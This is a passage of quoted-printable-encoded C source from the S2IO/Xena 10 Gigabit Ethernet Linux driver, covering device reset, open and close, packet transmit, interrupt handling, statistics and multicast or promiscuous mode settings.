(ADAPTER_STATUS_RMAC_REMOTE_FAULT=0A= |=0A= ADAPTER_STATUS_RMAC_LOCAL_FAULT)))=0A= {=0A= DBG_PRINT(ERR_DBG, "%s:",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG,=0A= " Link down");=0A= DBG_PRINT(ERR_DBG,=0A= "after ");=0A= DBG_PRINT(ERR_DBG,=0A= "enabling ");=0A= DBG_PRINT(ERR_DBG,=0A= "device \n");=0A= cnt++;=0A= continue;=0A= }=0A= if (nic->device_enabled_once =3D=3D=0A= FALSE) {=0A= nic->device_enabled_once =3D=0A= TRUE;=0A= }=0A= s2io_link(nic, 1);=0A= break;=0A= }=0A= cnt++;=0A= if (cnt > 10) {=0A= s2io_link(nic, 0);=0A= break;=0A= }=0A= mdelay(50);=0A= } while (TRUE);=0A= quiescence_flag =3D TRUE;=0A= }=0A= }=0A= /* Acknowledge interrupt and clear the R1 register */=0A= val64 =3D read64(&bar0->mac_rmac_err_reg);=0A= write64(&bar0->mac_rmac_err_reg, val64);=0A= =0A= if (quiescence_flag =3D=3D FALSE) {=0A= /*=0A= * The Device could not reach quiescence state. Stopping device=0A= * Xmit queue. This inturn will force a H/W reset in the =0A= * Tx_Timeou function.=0A= */=0A= DBG_PRINT(ERR_DBG, "%s: from Link Intr, ", dev->name);=0A= DBG_PRINT(ERR_DBG, "device is not Quiescent\n");=0A= //netif_stop_queue(dev);=0A= }=0A= #ifdef CONFIGURE_EXTENDED_ERROR_HANDLING=0A= /* Handling SERR errors by stopping device Xmit queue and forcing =0A= * a H/W reset.=0A= */=0A= val64 =3D read64(&bar0->serr_source);=0A= if (val64 & SERR_SOURCE_ANY) {=0A= DBG_PRINT(ERR_DBG, "%s: Device indicates ", dev->name);=0A= DBG_PRINT(ERR_DBG, "serious error!!\n");=0A= netif_stop_queue(dev);=0A= }=0A= #endif=0A= /* Other type of interrupts are not being handled now, TODO*/=0A= }=0A= =0A= /*=0A= * Input Argument: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * Return value:=0A= * SUCCESS on success and FAILURE on failure.=0A= * Description:=0A= * Function that waits for a command to Write into RMAC ADDR DATA = registers =0A= * to be completed and returns either success or error depending on = whether =0A= * the command was complete or not. =0A= */=0A= int waitForCmdComplete(nic_t * sp)=0A= {=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= int ret =3D FAILURE, cnt =3D 0;=0A= u64 val64;=0A= =0A= while (TRUE) {=0A= val64 =3D=0A= RMAC_ADDR_CMD_MEM_RD | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD=0A= | RMAC_ADDR_CMD_MEM_OFFSET(0);=0A= write64(&bar0->rmac_addr_cmd_mem, val64);=0A= val64 =3D read64(&bar0->rmac_addr_cmd_mem);=0A= if (!val64) {=0A= ret =3D SUCCESS;=0A= break;=0A= }=0A= mdelay(50);=0A= if (cnt++ > 10)=0A= break;=0A= }=0A= =0A= return ret;=0A= }=0A= =0A= /*=0A= * Input Argument: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * Return value:=0A= * void.=0A= * Description:=0A= * Function to Reset the card. This function then also restores the = previously=0A= * saved PCI configuration space registers as the card reset also = resets the=0A= * Configration space.=0A= */=0A= void s2io_reset(nic_t * sp)=0A= {=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= u64 val64;=0A= int ret;=0A= u16 subid;=0A= =0A= val64 =3D SW_RESET_ALL;=0A= write64(&bar0->sw_reset, val64);=0A= mdelay(300);=0A= =0A= /* Restore the PCI state saved during initializarion. */=0A= pci_restore_state(sp->pdev, sp->config_space);=0A= /*Grisha */=0A= s2io_init_pci(sp);=0A= =0A= mdelay(300);=0A= val64 =3D read64(&bar0->xmsi_address);=0A= =0A= /* SXE-002: Configure link and activity LED to turn it off */=0A= ret =3D=0A= pci_read_config_word(sp->pdev, PCI_SUBSYSTEM_ID,=0A= (u16 *) & subid);=0A= if ((subid & 0xFF) >=3D 0x07) {=0A= val64 =3D read64(&bar0->gpio_control);=0A= val64 |=3D 0x0000800000000000;=0A= write64(&bar0->gpio_control, val64);=0A= val64 =3D 0x0411040400000000;=0A= write64((u64 *) ((u8 *) bar0 + 0x2700), val64);=0A= }=0A= =0A= sp->device_enabled_once =3D FALSE;=0A= }=0A= =0A= /*=0A= * Input Argument: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * Return value:=0A= * SUCCESS on success and FAILURE on failure.=0A= * Description:=0A= * Function to set the swapper control on the card correctly depending = on the=0A= * 'endianness' of the system.=0A= */=0A= int s2io_set_swapper(nic_t * sp)=0A= {=0A= struct net_device *dev =3D sp->dev;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= u64 val64;=0A= =0A= /* Set proper endian settings and verify the same by reading the PIF =0A= * Feed-back register.=0A= */=0A= #ifdef __BIG_ENDIAN=0A= /* The device by default set to a big endian format, so a big endian =0A= * driver need not set anything.=0A= */=0A= write64(&bar0->swapper_ctrl, 0xffffffffffffffff);=0A= val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= SWAPPER_CTRL_PIF_R_SE |=0A= SWAPPER_CTRL_PIF_W_FE |=0A= SWAPPER_CTRL_PIF_W_SE |=0A= SWAPPER_CTRL_TXP_FE |=0A= SWAPPER_CTRL_TXP_SE |=0A= SWAPPER_CTRL_TXD_R_FE |=0A= SWAPPER_CTRL_TXD_W_FE |=0A= SWAPPER_CTRL_TXF_R_FE |=0A= SWAPPER_CTRL_RXD_R_FE |=0A= SWAPPER_CTRL_RXD_W_FE |=0A= SWAPPER_CTRL_RXF_W_FE |=0A= SWAPPER_CTRL_XMSI_FE |=0A= SWAPPER_CTRL_XMSI_SE |=0A= SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= write64(&bar0->swapper_ctrl, val64);=0A= #else=0A= /* Initially we enable all bits to make it accessible by the driver,=0A= * then we selectively enable only those bits that we want to set.=0A= */=0A= write64(&bar0->swapper_ctrl, 0xffffffffffffffff);=0A= val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= SWAPPER_CTRL_PIF_R_SE |=0A= SWAPPER_CTRL_PIF_W_FE |=0A= SWAPPER_CTRL_PIF_W_SE |=0A= SWAPPER_CTRL_TXP_FE |=0A= SWAPPER_CTRL_TXP_SE |=0A= SWAPPER_CTRL_TXD_R_FE |=0A= SWAPPER_CTRL_TXD_R_SE |=0A= SWAPPER_CTRL_TXD_W_FE |=0A= SWAPPER_CTRL_TXD_W_SE |=0A= SWAPPER_CTRL_TXF_R_FE |=0A= SWAPPER_CTRL_RXD_R_FE |=0A= SWAPPER_CTRL_RXD_R_SE |=0A= SWAPPER_CTRL_RXD_W_FE |=0A= SWAPPER_CTRL_RXD_W_SE |=0A= SWAPPER_CTRL_RXF_W_FE |=0A= SWAPPER_CTRL_XMSI_FE |=0A= SWAPPER_CTRL_XMSI_SE |=0A= SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= write64(&bar0->swapper_ctrl, val64);=0A= #endif=0A= =0A= /* Verifying if endian settings are accurate by reading a feedback=0A= * register.=0A= */=0A= val64 =3D read64(&bar0->pif_rd_swapper_fb);=0A= if (val64 !=3D 0x0123456789ABCDEF) {=0A= /* Endian settings are incorrect, calls for another dekko. */=0A= #ifndef XENA_ARCH_64=0A= DBG_PRINT(ERR_DBG, "%s: Endian settings are wrong, ",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, "feedback read %llx\n", val64);=0A= #else=0A= DBG_PRINT(ERR_DBG, "%s: Endian settings are wrong, ",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, "feedback read %lx\n", val64);=0A= #endif=0A= return FAILURE;=0A= }=0A= =0A= return SUCCESS;=0A= }=0A= =0A= /* ********************************************************* */=0A= /* Functions defined below concern the OS part of the driver */=0A= /* ********************************************************* */=0A= /*=0A= * Input Argument: =0A= * dev - pointer to the device structure.=0A= * Return value:=0A= * SUCCESS on success and an appropriate (-)ve integer as defined in = errno.h=0A= * file on failure.=0A= * Description:=0A= * This function is the open entry point of the driver. It mainly calls = a=0A= * function to allocate Rx buffers and inserts them into the buffer=0A= * descriptors and then enables the Rx part of the NIC. =0A= */=0A= int s2io_open(struct net_device *dev)=0A= {=0A= nic_t *sp =3D (nic_t *) dev->priv;=0A= int i, ret =3D 0;=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= =0A= /* Initialize the H/W I/O registers */=0A= if (initNic(sp) !=3D 0) {=0A= DBG_PRINT(ERR_DBG, "%s: H/W initialization failed\n",=0A= dev->name);=0A= return FAILURE;=0A= }=0A= =0A= /* After proper initialization of H/W, register ISR */=0A= if (request_irq((int) sp->irq, s2io_isr, SA_SHIRQ, sp->name, dev)) {=0A= s2io_reset(sp);=0A= DBG_PRINT(ERR_DBG, "%s: ISR registration failed\n",=0A= dev->name);=0A= return FAILURE;=0A= }=0A= =0A= /* Setting its receive mode */=0A= s2io_set_multicast(dev);=0A= =0A= /* Initializing the Rx buffers. For now we are considering only 1 Rx = ring=0A= * and initializing buffers into 1016 RxDs or 8 Rx blocks=0A= */=0A= mac_control =3D &sp->mac_control;=0A= config =3D &sp->config;=0A= =0A= for (i =3D 0; i < config->RxRingNum; i++) {=0A= if ((ret =3D fill_rx_buffers(sp, i))) {=0A= DBG_PRINT(ERR_DBG, "%s: Out of memory in Open\n",=0A= dev->name);=0A= s2io_reset(sp);=0A= free_irq(dev->irq, dev);=0A= freeRxBuffers(sp);=0A= return -ENOMEM;=0A= }=0A= DBG_PRINT(INFO_DBG, "Buf in ring:%d is %d:\n", i,=0A= atomic_read(&sp->rx_bufs_left[i]));=0A= }=0A= =0A= /* Enable tasklet for the device */=0A= tasklet_init(&sp->task, s2io_tasklet, (unsigned long) dev);=0A= =0A= /* Enable Rx Traffic and interrupts on the NIC */=0A= if (startNic(sp)) {=0A= DBG_PRINT(ERR_DBG, "%s: Starting NIC failed\n", dev->name);=0A= tasklet_kill(&sp->task);=0A= s2io_reset(sp);=0A= free_irq(dev->irq, dev);=0A= freeRxBuffers(sp);=0A= return FAILURE;=0A= }=0A= =0A= sp->device_close_flag =3D FALSE; /* Device is up and running. */=0A= netif_start_queue(dev);=0A= //MOD_INC_USE_COUNT;=0A= =0A= return SUCCESS;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * dev - device pointer.=0A= * Return value:=0A= * SUCCESS on success and an appropriate (-)ve integer as defined in = errno.h=0A= * file on failure.=0A= * Description:=0A= * This is the stop entry point of the driver. It needs to undo exactly=0A= * whatever was done by the open entry point, thus it's usually = referred to=0A= * as the close function. Among other things this function mainly stops = the=0A= * Rx side of the NIC and frees all the Rx buffers in the Rx rings.=0A= */=0A= int s2io_close(struct net_device *dev)=0A= {=0A= nic_t *sp =3D (nic_t *) dev->priv;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= register u64 val64 =3D 0;=0A= u16 cnt =3D 0;=0A= =0A= spin_lock(&sp->isr_lock);=0A= netif_stop_queue(dev);=0A= =0A= /* disable Tx and Rx traffic on the NIC */=0A= stopNic(sp);=0A= =0A= spin_unlock(&sp->isr_lock);=0A= =0A= /* If the device tasklet is running, wait till its done before killing = it */=0A= while (atomic_read(&(sp->tasklet_status))) {=0A= mdelay(100);=0A= }=0A= tasklet_kill(&sp->task);=0A= =0A= /* Check if the device is Quiescent and then Reset the NIC */=0A= do {=0A= val64 =3D read64(&bar0->adapter_status);=0A= if (verify_xena_quiescence(val64, sp->device_enabled_once)=0A= =3D=3D TRUE) {=0A= break;=0A= }=0A= mdelay(50);=0A= cnt++;=0A= if (cnt =3D=3D 10) {=0A= #ifdef XENA_ARCH_64=0A= DBG_PRINT(ERR_DBG,=0A= "s2io_close:Device not Quiescent ");=0A= DBG_PRINT(ERR_DBG, "adaper status reads 0x%lx\n",=0A= val64);=0A= #else=0A= DBG_PRINT(ERR_DBG,=0A= "s2io_close:Device not Quiescent ");=0A= DBG_PRINT(ERR_DBG, "adaper status reads 0x%llx\n",=0A= val64);=0A= #endif=0A= break;=0A= }=0A= } while (1);=0A= s2io_reset(sp);=0A= =0A= /* Free the Registered IRQ */=0A= free_irq(dev->irq, dev);=0A= =0A= /* Free all Tx Buffers waiting for transmission */=0A= freeTxBuffers(sp);=0A= =0A= /* Free all Rx buffers allocated by host */=0A= freeRxBuffers(sp);=0A= =0A= sp->device_close_flag =3D TRUE; /* Device is shut down. */=0A= //MOD_DEC_USE_COUNT;=0A= =0A= return SUCCESS;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * skb - the socket buffer containing the Tx data.=0A= * dev - device pointer.=0A= * Return value:=0A= * always SUCCESS. =0A= * NOTE: when device cant queue the pkt, just the trans_start variable = will=0A= * not be upadted.=0A= * Description:=0A= * This function is the Tx entry point of the driver. S2IO NIC supports=0A= * certain protocol assist features on Tx side, namely CSO, S/G, LSO.=0A= */=0A= int s2io_xmit(struct sk_buff *skb, struct net_device *dev)=0A= {=0A= nic_t *sp =3D (nic_t *) dev->priv;=0A= u16 off, txd_len, frg_cnt, frg_len, i, queue, off1;=0A= register u64 val64;=0A= TxD_t *txdp;=0A= TxFIFO_element_t *tx_fifo;=0A= #ifdef NETIF_F_TSO=0A= int mss;=0A= #endif=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= mac_control =3D &sp->mac_control;=0A= config =3D &sp->config;=0A= =0A= DBG_PRINT(TX_DBG, "%s: In S2IO Tx routine\n", dev->name);=0A= =0A= spin_lock(&sp->tx_lock);=0A= queue =3D 0;=0A= /* Multi FIFO Tx is disabled for now. */=0A= if (!queue && tx_prio) {=0A= u8 x =3D (skb->data)[5];=0A= queue =3D x % config->TxFIFONum;=0A= }=0A= =0A= =0A= off =3D (u16) mac_control->tx_curr_put_info[queue].offset;=0A= off1 =3D (u16) mac_control->tx_curr_get_info[queue].offset;=0A= txd_len =3D mac_control->txdl_len;=0A= txdp =3D=0A= mac_control->txdl_start[queue] + (config->MaxTxDs * off);=0A= =0A= /* Avoid "put" pointer going beyond "get" pointer */=0A= if ((txdp->Host_Control) ||=0A= (((off +=0A= 1) % (mac_control->tx_curr_put_info[queue].fifo_len + 1))=0A= =3D=3D off1)) {=0A= DBG_PRINT(ERR_DBG,=0A= "No free TXDs for now, put: 0x%x, get:0x%x\n",=0A= off, off1);=0A= goto no_txd;=0A= }=0A= #ifdef NETIF_F_TSO=0A= mss =3D skb_shinfo(skb)->tso_size;=0A= if (mss) {=0A= txdp->Control_1 |=3D TXD_TCP_LSO_EN;=0A= txdp->Control_1 |=3D TXD_TCP_LSO_MSS(mss);=0A= }=0A= #endif=0A= =0A= frg_cnt =3D skb_shinfo(skb)->nr_frags;=0A= frg_len =3D skb->len - skb->data_len;=0A= =0A= txdp->Host_Control =3D (unsigned long) skb;=0A= txdp->Buffer_Pointer =3D pci_map_single=0A= (sp->pdev, skb->data, frg_len, PCI_DMA_TODEVICE);=0A= if (skb->ip_summed =3D=3D CHECKSUM_HW) {=0A= txdp->Control_2 |=3D=0A= (TXD_TX_CKO_IPV4_EN | TXD_TX_CKO_TCP_EN |=0A= TXD_TX_CKO_UDP_EN);=0A= }=0A= =0A= txdp->Control_2 |=3D config->TxIntrType;=0A= =0A= /* The NIC is made the owner of the TxDL */=0A= txdp->Control_1 |=3D (TXD_BUFFER0_SIZE(frg_len) |=0A= TXD_GATHER_CODE_FIRST);=0A= txdp->Control_1 |=3D TXD_LIST_OWN_XENA;=0A= =0A= /* If the SKB is fragmented, each fragment is put into a new Tx buffer. = */=0A= for (i =3D 0; i < frg_cnt; i++) {=0A= skb_frag_t *frag =3D &skb_shinfo(skb)->frags[i];=0A= txdp++;=0A= txdp->Buffer_Pointer =3D (u64) pci_map_single=0A= (sp->pdev,=0A= page_address(frag->page) + frag->page_offset,=0A= frag->size, PCI_DMA_TODEVICE);=0A= txdp->Control_1 |=3D TXD_BUFFER0_SIZE(frag->size);=0A= }=0A= txdp->Control_1 |=3D TXD_GATHER_CODE_LAST;=0A= =0A= /* To Update the TxDL pointer into the XENA nic. */=0A= tx_fifo =3D mac_control->tx_FIFO_start[queue];=0A= val64 =3D (mac_control->txdl_start_phy[queue] +=0A= (sizeof(TxD_t) * txd_len * off));=0A= write64(&tx_fifo->TxDL_Pointer, val64);=0A= =0A= val64 =3D (TX_FIFO_LAST_TXD_NUM(frg_cnt) | TX_FIFO_FIRST_LIST |=0A= TX_FIFO_LAST_LIST);=0A= #ifdef NETIF_F_TSO=0A= if (mss)=0A= val64 |=3D TX_FIFO_SPECIAL_FUNC;=0A= #endif=0A= write64(&tx_fifo->List_Control, val64);=0A= =0A= /*Incrementing offset */=0A= off++;=0A= off %=3D mac_control->tx_curr_put_info[queue].fifo_len + 1;=0A= mac_control->tx_curr_put_info[queue].offset =3D off;=0A= =0A= /* Update the time when the last Tx happened */=0A= dev->trans_start =3D jiffies;=0A= =0A= spin_unlock(&sp->tx_lock);=0A= return SUCCESS;=0A= =0A= no_txd:=0A= spin_unlock(&sp->tx_lock);=0A= netif_stop_queue(dev);=0A= return 1;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * irq: the irq of the device.=0A= * dev_id: a void pointer to the dev structure of the NIC.=0A= * ptregs: pointer to the registers pushed on the stack.=0A= * Return value:=0A= * void.=0A= * Description:=0A= * This function is the ISR handler of the device. It identifies the = reason =0A= * for the interrupt and calls the relevant service routines.=0A= * As a contongency measure, this ISR allocates the recv buffers, if = their =0A= * numbers are below the panic value which is presently set to 25% of = the=0A= * original number of rcv buffers allocated.=0A= */=0A= =0A= #ifdef KERN_26=0A= static irqreturn_t s2io_isr(int irq, void *dev_id, struct pt_regs *regs)=0A= #else=0A= void s2io_isr(int irq, void *dev_id, struct pt_regs *regs)=0A= #endif=0A= {=0A= struct net_device *dev =3D (struct net_device *) dev_id;=0A= nic_t *sp =3D (nic_t *) dev->priv;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= #ifndef CONFIGURE_NAPI_SUPPORT=0A= int i, ret;=0A= #endif=0A= u64 reason =3D 0, general_mask =3D 0;=0A= unsigned long flags;=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= mac_control =3D &sp->mac_control;=0A= config =3D &sp->config;=0A= =0A= spin_lock_irqsave(&sp->isr_lock, flags);=0A= =0A= /* Identify the cause for interrupt and call the appropriate=0A= * interrupt handler. Causes for the interrupt could be;=0A= * 1. Rx of packet.=0A= * 2. Tx complete.=0A= * 3. Link down.=0A= * 4. Error in any functional blocks of the NIC. =0A= */=0A= reason =3D read64(&bar0->general_int_status);=0A= =0A= if (!reason) {=0A= /* The interrupt was not raised by Xena. */=0A= spin_unlock_irqrestore(&sp->isr_lock, flags);=0A= #ifdef KERN_26=0A= return IRQ_NONE;=0A= #else=0A= return;=0A= #endif=0A= }=0A= /* Mask the interrupts on the NIC */=0A= general_mask =3D read64(&bar0->general_int_mask);=0A= write64(&bar0->general_int_mask, 0xFFFFFFFFFFFFFFFFULL);=0A= =0A= #if DEBUG_ON=0A= sp->int_cnt++;=0A= #endif=0A= =0A= /* If Intr is because of Tx Traffic */=0A= if (reason & GEN_INTR_TXTRAFFIC)=0A= txIntrHandler(sp);=0A= =0A= /* If Intr is because of Link status change or error */=0A= if (reason & (GEN_ERROR_INTR))=0A= alarmIntrHandler(sp);=0A= =0A= #ifdef CONFIGURE_NAPI_SUPPORT=0A= if (reason & GEN_INTR_RXTRAFFIC) {=0A= if (netif_rx_schedule_prep(dev)) {=0A= en_dis_able_NicIntrs(sp, RX_TRAFFIC_INTR,=0A= DISABLE_INTRS);=0A= /* We retake the snap shot of the general interrupt =0A= * register.=0A= */=0A= general_mask =3D read64(&bar0->general_int_mask);=0A= __netif_rx_schedule(dev);=0A= }=0A= }=0A= #else=0A= /* If Intr is because of Rx Traffic */=0A= if (reason & GEN_INTR_RXTRAFFIC)=0A= rxIntrHandler(sp);=0A= #endif=0A= =0A= /* If the Rx buffer count is below the panic threshold then reallocate = the=0A= * buffers from the interrupt handler itself, else schedule a tasklet to =0A= * reallocate the buffers.=0A= */=0A= #if 1=0A= for (i =3D 0; i < config->RxRingNum; i++) {=0A= int rxb_size =3D atomic_read(&sp->rx_bufs_left[i]);=0A= int level =3D rx_buffer_level(sp, rxb_size, i);=0A= =0A= if ((level =3D=3D PANIC) && (!TASKLET_IN_USE)) {=0A= DBG_PRINT(ERR_DBG, "%s: Rx BD hit ", dev->name);=0A= DBG_PRINT(ERR_DBG, "PANIC levels\n");=0A= if ((ret =3D fill_rx_buffers(sp, i)) =3D=3D -ENOMEM) {=0A= DBG_PRINT(ERR_DBG, "%s:Out of memory",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, " in ISR!!\n");=0A= write64(&bar0->general_int_mask,=0A= general_mask);=0A= spin_unlock_irqrestore(&sp->isr_lock,=0A= flags);=0A= #ifdef KERN_26=0A= return -ENOMEM;=0A= #else=0A= return;=0A= #endif=0A= }=0A= clear_bit(0,=0A= (unsigned long *) (&sp->tasklet_status));=0A= } else if ((level =3D=3D LOW)=0A= && (!atomic_read(&sp->tasklet_status))) {=0A= tasklet_schedule(&sp->task);=0A= }=0A= =0A= }=0A= #else=0A= tasklet_schedule(&sp->task);=0A= #endif=0A= =0A= /* Unmask all the previously enabled interrupts on the NIC */=0A= write64(&bar0->general_int_mask, general_mask);=0A= =0A= spin_unlock_irqrestore(&sp->isr_lock, flags);=0A= #ifdef KERN_26=0A= return IRQ_HANDLED;=0A= #endif=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * dev - pointer to the device structure.=0A= * Return value:=0A= * pointer to the updated net_device_stats structure.=0A= * Description:=0A= * This function updates the device statistics structure in the = s2io_nic =0A= * structure and returns a pointer to the same.=0A= */=0A= struct net_device_stats *s2io_get_stats(struct net_device *dev)=0A= {=0A= nic_t *sp =3D (nic_t *) dev->priv;=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= mac_control =3D &sp->mac_control;=0A= config =3D &sp->config;=0A= =0A= sp->stats.tx_errors =3D mac_control->StatsInfo->tmac_any_err_frms;=0A= sp->stats.rx_errors =3D mac_control->StatsInfo->rmac_drop_frms;=0A= sp->stats.multicast =3D=0A= mac_control->StatsInfo->rmac_vld_mcst_frms;=0A= sp->stats.rx_length_errors =3D=0A= mac_control->StatsInfo->rmac_long_frms;=0A= =0A= return (&sp->stats);=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * dev - pointer to the device structure=0A= * Return value:=0A= * void.=0A= * Description:=0A= * This function is a driver entry point which gets called by the = kernel =0A= * whenever multicast addresses must be enabled/disabled. This also = gets =0A= * called to set/reset promiscuous mode. Depending on the deivce flag, = we=0A= * determine, if multicast address must be enabled or if promiscuous = mode=0A= * is to be disabled etc.=0A= */=0A= static void s2io_set_multicast(struct net_device *dev)=0A= {=0A= int i, j, prev_cnt;=0A= struct dev_mc_list *mclist;=0A= nic_t *sp =3D (nic_t *) dev->priv;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= u64 val64 =3D 0, multi_mac =3D 0x010203040506, mask =3D 0xfeffffffffff;=0A= u64 dis_addr =3D 0xffffffffffff, mac_addr =3D 0;=0A= void *add;=0A= =0A= if ((dev->flags & IFF_ALLMULTI) && (!sp->m_cast_flg)) {=0A= /* Enable all Multicast addresses */=0A= write64(&bar0->rmac_addr_data0_mem,=0A= RMAC_ADDR_DATA0_MEM_ADDR(multi_mac));=0A= write64(&bar0->rmac_addr_data1_mem,=0A= RMAC_ADDR_DATA1_MEM_MASK(mask));=0A= =0A= val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= RMAC_ADDR_CMD_MEM_OFFSET(MAC_MC_ALL_MC_ADDR_OFFSET);=0A= write64(&bar0->rmac_addr_cmd_mem, val64);=0A= /* Wait till command completes */=0A= waitForCmdComplete(sp);=0A= =0A= sp->m_cast_flg =3D 1;=0A= sp->all_multi_pos =3D MAC_MC_ALL_MC_ADDR_OFFSET;=0A= } else if ((dev->flags & IFF_ALLMULTI) && (sp->m_cast_flg)) {=0A= /* Disable all Multicast addresses */=0A= write64(&bar0->rmac_addr_data0_mem,=0A= RMAC_ADDR_DATA0_MEM_ADDR(dis_addr));=0A= =0A= val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= RMAC_ADDR_CMD_MEM_OFFSET(sp->all_multi_pos);=0A= write64(&bar0->rmac_addr_cmd_mem, val64);=0A= /* Wait till command completes */=0A= waitForCmdComplete(sp);=0A= =0A= sp->m_cast_flg =3D 0;=0A= sp->all_multi_pos =3D 0;=0A= }=0A= =0A= if ((dev->flags & IFF_PROMISC) && (!sp->promisc_flg)) {=0A= /* Put the NIC into promiscuous mode */=0A= add =3D (void *) &bar0->mac_cfg;=0A= val64 =3D read64(&bar0->mac_cfg);=0A= val64 |=3D MAC_CFG_RMAC_PROM_ENABLE;=0A= =0A= write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= writel((u32) val64, add);=0A= write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= writel((u32) (val64 >> 32), (add + 4));=0A= =0A= val64 =3D read64(&bar0->mac_cfg);=0A= sp->promisc_flg =3D 1;=0A= DBG_PRINT(ERR_DBG, "%s: entered promiscuous mode\n",=0A= dev->name);=0A= } else if (!(dev->flags & IFF_PROMISC) && (sp->promisc_flg)) {=0A= /* Remove the NIC from promiscuous mode */=0A= add =3D (void *) &bar0->mac_cfg;=0A= val64 =3D read64(&bar0->mac_cfg);=0A= val64 &=3D ~MAC_CFG_RMAC_PROM_ENABLE;=0A= =0A= write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= writel((u32) val64, add);=0A= write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= writel((u32) (val64 >> 32), (add + 4));=0A= =0A= val64 =3D read64(&bar0->mac_cfg);=0A= sp->promisc_flg =3D 0;=0A= DBG_PRINT(ERR_DBG, "%s: left promiscuous mode\n",=0A= dev->name);=0A= }=0A= =0A= /* Update individual M_CAST address list*/=0A= if ((!sp->m_cast_flg) && dev->mc_count) {=0A= if (dev->mc_count >=0A= (MAX_ADDRS_SUPPORTED - MAC_MC_ADDR_START_OFFSET - 1)) {=0A= DBG_PRINT(ERR_DBG, "%s: No more Rx filters ",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, "can be added, please enable ");=0A= DBG_PRINT(ERR_DBG, "ALL_MULTI instead\n");=0A= return;=0A= }=0A= =0A= prev_cnt =3D sp->mc_addr_count;=0A= sp->mc_addr_count =3D dev->mc_count;=0A= =0A= /* Clear out the previous list of Mc in the H/W. */=0A= for (i =3D 0; i < prev_cnt; i++) {=0A= write64(&bar0->rmac_addr_data0_mem,=0A= RMAC_ADDR_DATA0_MEM_ADDR(dis_addr));=0A= val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= RMAC_ADDR_CMD_MEM_OFFSET=0A= (MAC_MC_ADDR_START_OFFSET + i);=0A= write64(&bar0->rmac_addr_cmd_mem, val64);=0A= =0A= /* Wait for command completes */=0A= if (waitForCmdComplete(sp)) {=0A= DBG_PRINT(ERR_DBG, "%s: Adding ",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, "Multicasts failed\n");=0A= return;=0A= }=0A= }=0A= =0A= /* Create the new Rx filter list and update the same in H/W. */=0A= for (i =3D 0, mclist =3D dev->mc_list; i < dev->mc_count;=0A= i++, mclist =3D mclist->next) {=0A= memcpy(sp->usr_addrs[i].addr, mclist->dmi_addr,=0A= ETH_ALEN);=0A= for (j =3D 0; j < ETH_ALEN; j++) {=0A= mac_addr |=3D mclist->dmi_addr[j];=0A= mac_addr <<=3D 8;=0A= }=0A= write64(&bar0->rmac_addr_data0_mem,=0A= RMAC_ADDR_DATA0_MEM_ADDR(mac_addr));=0A= val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= RMAC_ADDR_CMD_MEM_OFFSET(i +=0A= MAC_MC_ADDR_START_OFFSET);=0A= write64(&bar0->rmac_addr_cmd_mem, val64);=0A= =0A= /* Wait for command completes */=0A= if (waitForCmdComplete(sp)) {=0A= DBG_PRINT(ERR_DBG, "%s: Adding ",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, "Multicasts failed\n");=0A= return;=0A= }=0A= }=0A= }=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * dev - pointer to the device structure.=0A= * new_mac - a void pointer to the new mac address which is to be set.=0A= * Return value:=0A= * SUCCESS on success and an appropriate (-)ve integer as defined in = errno.h=0A= * file on failure.=0A= * Description:=0A= * A driver entry point to change the mac address. The device must be = down=0A= * before this can be called.=0A= */=0A= int s2io_set_mac_addr(struct net_device *dev, void *new_mac)=0A= {=0A= nic_t *sp =3D (nic_t *) dev->priv;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= struct sockaddr *sa =3D (struct sockaddr *) new_mac;=0A= u8 *addr;=0A= register u64 val64, mac_addr =3D 0;=0A= int i;=0A= =0A= if (netif_running(dev))=0A= netif_stop_queue(dev);=0A= =0A= /* =0A= * Set the new MAC address as the new unicast filter and reflect this=0A= * change on the device 